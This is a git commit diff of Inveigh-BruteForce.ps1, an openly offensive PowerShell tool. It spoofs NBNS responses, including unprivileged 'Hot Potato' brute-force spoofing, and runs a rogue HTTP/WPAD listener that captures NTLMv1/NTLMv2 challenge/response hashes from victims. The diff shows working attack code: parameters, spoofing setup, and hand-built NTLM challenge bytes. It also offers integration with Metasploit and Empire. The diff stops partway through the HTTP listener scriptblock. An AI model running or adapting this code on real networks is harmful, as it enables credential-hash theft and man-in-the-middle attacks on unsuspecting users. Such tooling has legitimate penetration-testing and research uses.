aboutsummaryrefslogtreecommitdiff
path: root/Scripts/Inveigh-BruteForce.ps1
diff options
context:
space:
mode:
authorKevin Robertson <robertsonk@gmail.com>2016-05-10 00:03:54 -0400
committerKevin Robertson <robertsonk@gmail.com>2016-05-10 00:03:54 -0400
commit341be94bae8de151ee71aaf58ec054a15559f649 (patch)
tree4f714b61139937ccb5b4edb8dce7a94c9d303e09 /Scripts/Inveigh-BruteForce.ps1
parent16739f6e717bbb57778adb9e563de0446436ce48 (diff)
downloadInveigh-341be94bae8de151ee71aaf58ec054a15559f649.tar.gz
Inveigh-341be94bae8de151ee71aaf58ec054a15559f649.zip
Code cleanup and new parameters
Contains a few rounds of code cleanup and the following changes: Parameters Added to Invoke-Inveigh: ConsoleUnique - Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled. FileUnique - Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time file output is enabled. ConsoleStatus - Set interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions. WPADEmptyFile - Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when using WPADIP, WPADPort, or WPADResponse. Fixed: Corrected an issue that was preventing the MachineAccounts parameter from being fully enabled in all three scripts. Removed Support Functions: Get-InveighStat Get-InveighNTLM
Diffstat (limited to 'Scripts/Inveigh-BruteForce.ps1')
-rw-r--r--Scripts/Inveigh-BruteForce.ps1956
1 files changed, 544 insertions, 412 deletions
diff --git a/Scripts/Inveigh-BruteForce.ps1 b/Scripts/Inveigh-BruteForce.ps1
index 93558bc..5bdc181 100644
--- a/Scripts/Inveigh-BruteForce.ps1
+++ b/Scripts/Inveigh-BruteForce.ps1
@@ -1,21 +1,24 @@
-Function Invoke-InveighBruteForce
+function Invoke-InveighBruteForce
{
<#
.SYNOPSIS
Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer.
.DESCRIPTION
-Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following features:
+Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following
+features:
Targeted IPv4 NBNS brute force spoofer with granular control
NTLMv1/NTLMv2 challenge/response capture over HTTP
Granular control of console and file output
Run time control
-This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated administrator or SYSTEM shell.
+This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated
+administrator or SYSTEM shell.
.PARAMETER SpooferIP
-Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.
+Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system
+other than the Inveigh Brute Force host.
.PARAMETER SpooferTarget
Specify an IP address to target for brute force NBNS spoofing.
@@ -27,7 +30,8 @@ Default = WPAD: Specify a hostname for NBNS spoofing.
Default = Disabled: (Y/N) Enable/Disable NBNS spoofing.
.PARAMETER NBNSPause
-Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.
+Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after
+an incoming HTTP request is received.
.PARAMETER NBNSTTL
Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
@@ -42,37 +46,46 @@ Default = Any: Specify a TCP IP address for the HTTP listener.
Default = 80: Specify a TCP port for the HTTP listener.
.PARAMETER HTTPAuth
-Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests.
+Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not
+apply to wpad.dat requests.
.PARAMETER HTTPBasicRealm
Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.
.PARAMETER HTTPResponse
-Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. Use PowerShell character escapes where necessary.
+Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat
+requests. Use PowerShell character escapes where necessary.
.PARAMETER WPADAuth
-Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.
+Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests.
+Setting to Anonymous can prevent browser login prompts.
.PARAMETER WPADIP
-Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.
+Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter
+must be used with WPADPort.
.PARAMETER WPADPort
-Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.
+Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter
+must be used with WPADIP.
.PARAMETER WPADDirectHosts
-Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Use PowerShell character escapes where necessary.
+Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the
+defined proxy. Use PowerShell character escapes where necessary.
.PARAMETER WPADResponse
-Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set.
+Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and
+WPADPort are set.
.PARAMETER Challenge
-Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures.
+Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a
+random challenge will be generated for each request. This will only be used for non-relay captures.
.PARAMETER MachineAccounts
Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
.PARAMETER ConsoleOutput
-Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
+Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to
+ensure that it doesn't hang the shell.
.PARAMETER FileOutput
Default = Disabled: (Y/N) Enable/Disable real time file output.
@@ -81,23 +94,26 @@ Default = Disabled: (Y/N) Enable/Disable real time file output.
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
.PARAMETER OutputStreamOnly
-Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams.
-Note that you will not see the various yellow warning messages if enabled.
+Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if
+running Inveigh Brute Force through a shell that does not return other output streams. Note that you will not see
+the various yellow warning messages if enabled.
.PARAMETER OutputDir
-Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled.
-
-.PARAMETER ShowHelp
-Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
+Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must
+also be enabled.
.PARAMETER RunTime
Default = Unlimited: (Integer) Set the run time duration in minutes.
.PARAMETER RunCount
-Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting.
+Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting.
+
+.PARAMETER ShowHelp
+Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
.PARAMETER Tool
-Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
+Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's
+Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
.EXAMPLE
Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11
@@ -116,36 +132,37 @@ https://github.com/Kevin-Robertson/Inveigh
#>
# Parameter default values can be modified in this section:
+[CmdletBinding()]
param
-(
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y",
- [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0",
- [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM",
- [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM",
- [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$HTTPIP="",
- [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="",
- [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferTarget="",
- [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "",
- [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="",
- [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="",
- [parameter(Mandatory=$false)][array]$WPADDirectHosts="",
- [parameter(Mandatory=$false)][int]$HTTPPort="80",
- [parameter(Mandatory=$false)][int]$NBNSPause="",
- [parameter(Mandatory=$false)][int]$NBNSTTL="165",
- [parameter(Mandatory=$false)][int]$WPADPort="",
- [parameter(Mandatory=$false)][int]$RunCount="",
- [parameter(Mandatory=$false)][int]$RunTime="",
- [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS",
- [parameter(Mandatory=$false)][string]$HTTPResponse="",
- [parameter(Mandatory=$false)][string]$WPADResponse="",
- [parameter(Mandatory=$false)][string]$Hostname = "WPAD",
+(
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="Y",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y",
+ [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0",
+ [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM",
+ [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM",
+ [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP="",
+ [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
+ [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferTarget="",
+ [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "",
+ [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="",
+ [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="",
+ [parameter(Mandatory=$false)][Array]$WPADDirectHosts="",
+ [parameter(Mandatory=$false)][Int]$HTTPPort="80",
+ [parameter(Mandatory=$false)][Int]$NBNSPause="",
+ [parameter(Mandatory=$false)][Int]$NBNSTTL="165",
+ [parameter(Mandatory=$false)][Int]$WPADPort="",
+ [parameter(Mandatory=$false)][Int]$RunCount="",
+ [parameter(Mandatory=$false)][Int]$RunTime="",
+ [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS",
+ [parameter(Mandatory=$false)][String]$HTTPResponse="",
+ [parameter(Mandatory=$false)][String]$WPADResponse="",
+ [parameter(Mandatory=$false)][String]$Hostname = "WPAD",
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
@@ -159,22 +176,24 @@ if(!$SpooferIP)
$SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
}
-if($NBNS -eq 'y' -and !$SpooferTarget)
+if($NBNS -eq 'Y' -and !$SpooferTarget)
{
- Throw "You must specify a -SpooferTarget if enabling -NBNS"
+ throw "You must specify a -SpooferTarget if enabling -NBNS"
}
if($WPADIP -or $WPADPort)
{
+
if(!$WPADIP)
{
- Throw "You must specify a -WPADPort to go with -WPADIP"
+ throw "You must specify a -WPADPort to go with -WPADIP"
}
if(!$WPADPort)
{
- Throw "You must specify a -WPADIP to go with -WPADPort"
+ throw "You must specify a -WPADIP to go with -WPADPort"
}
+
}
if(!$OutputDir)
@@ -188,16 +207,20 @@ else
if(!$inveigh)
{
- $global:inveigh = [hashtable]::Synchronized(@{})
+ $global:inveigh = [HashTable]::Synchronized(@{})
$inveigh.log = New-Object System.Collections.ArrayList
$inveigh.NTLMv1_list = New-Object System.Collections.ArrayList
+ $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList
$inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
+ $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList
$inveigh.cleartext_list = New-Object System.Collections.ArrayList
+ $inveigh.IP_capture_list = New-Object System.Collections.ArrayList
+ $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList
}
if($inveigh.bruteforce_running)
{
- Throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh"
+ throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh"
}
$inveigh.console_queue = New-Object System.Collections.ArrayList
@@ -218,7 +241,7 @@ $inveigh.challenge = $Challenge
$inveigh.hostname_spoof = $false
$inveigh.bruteforce_running = $true
-if($StatusOutput -eq 'y')
+if($StatusOutput -eq 'Y')
{
$inveigh.status_output = $true
}
@@ -227,7 +250,7 @@ else
$inveigh.status_output = $false
}
-if($OutputStreamOnly -eq 'y')
+if($OutputStreamOnly -eq 'Y')
{
$inveigh.output_stream_only = $true
}
@@ -259,190 +282,210 @@ else
}
# Write startup messages
-$inveigh.status_queue.add("Inveigh Brute Force started at $(Get-Date -format 's')")|Out-Null
-$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force started")]) |Out-Null
+$inveigh.status_queue.Add("Inveigh Brute Force started at $(Get-Date -format 's')") > $null
+$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force started")]) > $null
-if($NBNS -eq 'y')
+if($NBNS -eq 'Y')
{
- $inveigh.status_queue.add("NBNS Brute Force Spoofer Target = $SpooferTarget")|Out-Null
- $inveigh.status_queue.add("NBNS Brute Force Spoofer IP Address = $SpooferIP")|Out-Null
- $inveigh.status_queue.add("NBNS Brute Force Spoofer Hostname = $Hostname")|Out-Null
+ $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $SpooferTarget") > $null
+ $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null
+ $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $Hostname") > $null
if($NBNSPause)
{
- $inveigh.status_queue.add("NBNS Brute Force Pause = $NBNSPause Seconds")|Out-Null
+ $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSPause Seconds") > $null
}
- $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null
+ $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null
}
else
{
- $inveigh.status_queue.add("NBNS Brute Force Spoofer Disabled")|Out-Null
+ $inveigh.status_queue.Add("NBNS Brute Force Spoofer Disabled") > $null
}
-if($HTTP -eq 'y')
+if($HTTP -eq 'Y')
{
+
if($HTTPIP)
{
- $inveigh.status_queue.add("HTTP IP Address = $HTTPIP")|Out-Null
+ $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null
}
if($HTTPPort -ne 80)
{
- $inveigh.status_queue.add("HTTP Port = $HTTPPort")|Out-Null
+ $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null
}
- $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null
- $inveigh.status_queue.add("HTTP Authentication = $HTTPAuth")|Out-Null
- $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null
+ $inveigh.status_queue.Add("HTTP Capture Enabled") > $null
+ $inveigh.status_queue.Add("HTTP Authentication = $HTTPAuth") > $null
+ $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null
if($HTTPResponse)
{
- $inveigh.status_queue.add("HTTP Custom Response Enabled")|Out-Null
+ $inveigh.status_queue.Add("HTTP Custom Response Enabled") > $null
}
if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic')
{
- $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null
+ $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null
}
if($WPADIP -and $WPADPort)
{
- $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null
+ $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null
if($WPADDirectHosts)
{
- $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null
+ $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null
}
+
}
elseif($WPADResponse -and !$WPADIP -and !$WPADPort)
{
- $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null
+ $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null
}
if($Challenge)
{
- $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null
+ $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null
}
if($MachineAccounts -eq 'n')
{
- $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null
+ $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null
+ $inveigh.machine_accounts = $false
+ }
+ else
+ {
+ $inveigh.machine_accounts = $true
}
+
}
else
{
- $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null
+ $inveigh.status_queue.Add("HTTP Capture Disabled") > $null
}
-if($ConsoleOutput -eq 'y')
+if($ConsoleOutput -eq 'Y')
{
- $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null
+ $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null
$inveigh.console_output = $true
}
else
{
+
if($inveigh.tool -eq 1)
{
- $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
+ $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null
}
else
{
- $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null
+ $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null
}
+
}
-if($FileOutput -eq 'y')
+if($FileOutput -eq 'Y')
{
- $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null
- $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null
+ $inveigh.status_queue.Add("Real Time File Output Enabled") > $null
+ $inveigh.status_queue.Add("Output Directory = $output_directory") > $null
$inveigh.file_output = $true
}
else
{
- $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null
+ $inveigh.status_queue.Add("Real Time File Output Disabled") > $null
}
if($RunTime -eq 1)
{
- $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null
+ $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null
}
elseif($RunTime -gt 1)
{
- $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
+ $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null
}
if($RunCount)
{
- $inveigh.status_queue.add("Run Count = $RunCount")|Out-Null
+ $inveigh.status_queue.Add("Run Count = $RunCount") > $null
}
-if($ShowHelp -eq 'y')
+if($ShowHelp -eq 'Y')
{
- $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null
- $inveigh.status_queue.add("Run Stop-Inveigh to stop running Inveigh functions")|Out-Null
+ $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null
+ $inveigh.status_queue.Add("Run Stop-Inveigh to stop running Inveigh functions") > $null
if($inveigh.console_output)
{
- $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null
+ $inveigh.status_queue.Add("Press any key to stop real time console output") > $null
}
+
}
if($inveigh.status_output)
{
+
while($inveigh.status_queue.Count -gt 0)
{
+
if($inveigh.output_stream_only)
{
- write-output($inveigh.status_queue[0] + $inveigh.newline)
+ Write-Output($inveigh.status_queue[0] + $inveigh.newline)
$inveigh.status_queue.RemoveRange(0,1)
}
else
{
+
switch ($inveigh.status_queue[0])
{
+
"Run Stop-Inveigh to stop running Inveigh functions"
{
- write-warning($inveigh.status_queue[0])
+ Write-Warning($inveigh.status_queue[0])
$inveigh.status_queue.RemoveRange(0,1)
}
+
default
{
- write-output($inveigh.status_queue[0])
+ Write-Output($inveigh.status_queue[0])
$inveigh.status_queue.RemoveRange(0,1)
}
+
}
+
}
+
}
+
}
# Begin ScriptBlocks
-# Shared Basic Functions ScriptBlock
+# Shared Basic functions ScriptBlock
$shared_basic_functions_scriptblock =
{
- Function DataLength
+ function DataLength
{
- param ([int]$length_start,[byte[]]$string_extract_data)
+ param ([Int]$length_start,[Byte[]]$string_extract_data)
$string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0)
return $string_length
}
- Function DataToString
+ function DataToString
{
- param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data)
+ param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data)
- $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)])
+ $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)])
$string_data = $string_data -replace "-00",""
- $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
+ $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$string_extract = New-Object System.String ($string_data,0,$string_data.Length)
return $string_extract
}
- Function HTTPListenerStop
+ function HTTPListenerStop
{
- $inveigh.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
$inveigh.HTTP_client.Close()
start-sleep -s 1
$inveigh.HTTP_listener.server.blocking = $false
@@ -451,64 +494,71 @@ $shared_basic_functions_scriptblock =
Start-Sleep -s 1
$inveigh.HTTP_listener.Stop()
}
+
}
# HTTP Server ScriptBlock - HTTP listener
$HTTP_scriptblock =
{
- param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$MachineAccounts,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount)
+ param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount)
- Function NTLMChallengeBase64
+ function NTLMChallengeBase64
{
$HTTP_timestamp = Get-Date
$HTTP_timestamp = $HTTP_timestamp.ToFileTime()
- $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
- $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
+ $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp))
+ $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
if($inveigh.challenge)
{
$HTTP_challenge = $inveigh.challenge
$HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-')
- $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
+ $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
}
else
{
$HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$HTTP_challenge = $HTTP_challenge_bytes -replace ' ', ''
- $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
+ $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
}
- $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null
-
- [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)`
- + $HTTP_challenge_bytes`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)`
- + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)`
- + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)`
- + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)`
- + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)`
- + $HTTP_timestamp`
- + (0x00,0x00,0x00,0x00,0x0a,0x0a)
+ $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null
+
+ $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,
+ 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 +
+ $HTTP_challenge_bytes +
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,
+ 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00,
+ 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,
+ 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,
+ 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,
+ 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,
+ 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,
+ 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,
+ 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 +
+ $HTTP_timestamp +
+ 0x00,0x00,0x00,0x00,0x0a,0x0a
$NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
$NTLM = 'NTLM ' + $NTLM_challenge_base64
$NTLM_challenge = $HTTP_challenge
- Return $NTLM
-
+ return $NTLM
}
- $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20) # WWW-Authenticate
